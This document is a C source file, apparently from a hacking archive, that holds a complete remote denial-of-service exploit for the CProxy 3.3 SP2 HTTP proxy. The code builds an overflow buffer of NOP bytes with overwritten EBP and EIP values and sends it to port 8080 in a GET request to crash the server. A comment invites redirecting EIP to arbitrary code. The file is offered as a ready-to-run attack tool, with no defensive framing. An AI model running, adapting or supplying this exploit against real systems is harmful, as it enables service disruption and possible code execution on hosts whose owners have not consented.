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cproxy.c
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Wrap
C/C++ Source or Header
|
2005-02-12
|
2KB
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109 lines
/*
* Remote Denial of Service for CProxy v3.3 - Service Pack 2
*
* (C) |[TDP]| - HaCk-13 TeaM - 2000 <tdp@psynet.net>
*
*
* This program xploits an overflow vulnerability in CProxy 3.3 SP2
* HTTP Service (8080), causing server shutdown
*
* Greetings to all the other members and all my friends :)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFFERSIZE 247
#define NOP 0x90
// If you change this values you can change EIP and EBP values
// to redirect to a code that you want >;)
#define EIP 0x61616161
#define EBP 0x61616161
void usage(char *progname)
{
fprintf(stderr,"Usage: %s <hostname> [eip] [ebp]\n",progname);
exit(1);
}
int main(int argc, char **argv)
{
char *ptr,buffer[BUFFERSIZE], remotedos[1024];
unsigned long *long_ptr,eip=EIP, ebp=EBP;
int aux,sock;
struct sockaddr_in sin;
unsigned long ip;
struct hostent *he;
fprintf(stderr,"\n-= Remote DoS for CProxy v3.3 ServicePack 2 - (C) |[TDP]| - H13 Team =-\n");
if (argc<2) usage(argv[0]);
if (argc>=3) eip+=atol(argv[2]);
if (argc>=4) ebp+=atol(argv[3]);
ptr=buffer;
memset(ptr,0,sizeof(buffer));
memset(ptr,NOP,sizeof(buffer)-8);
ptr+=sizeof(buffer)-8;
long_ptr=(unsigned long*)ptr;
*(long_ptr++) = ebp;
*(long_ptr++) = eip;
ptr=(char *)long_ptr;
*ptr='\0';
bzero(remotedos, sizeof(remotedos));
snprintf(remotedos, sizeof(remotedos), "GET http://%s HTTP/1.0\r\n\r\n\r\n",buffer);
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror("socket()");
return -1;
}
if ((he = gethostbyname(argv[1])) != NULL)
{
ip = *(unsigned long *)he->h_addr;
}
else
{
if ((ip = inet_addr(argv[1])) == NULL)
{
perror("inet_addr()");
return -1;
}
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ip;
sin.sin_port = htons(8080);
fprintf(stderr,"\nEngaged...\n");
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
{
perror("connect()");
return -1;
}
if (write(sock, remotedos, strlen(remotedos)) < strlen(remotedos))
{
perror("write()");
return -1;
}
fprintf(stderr,"Bye Bye baby!...\n\n");
if (close(sock) < 0)
{
perror("close()");
return -1;
}
return(0);
}
/* www.hack.co.za [18 May 2000]*/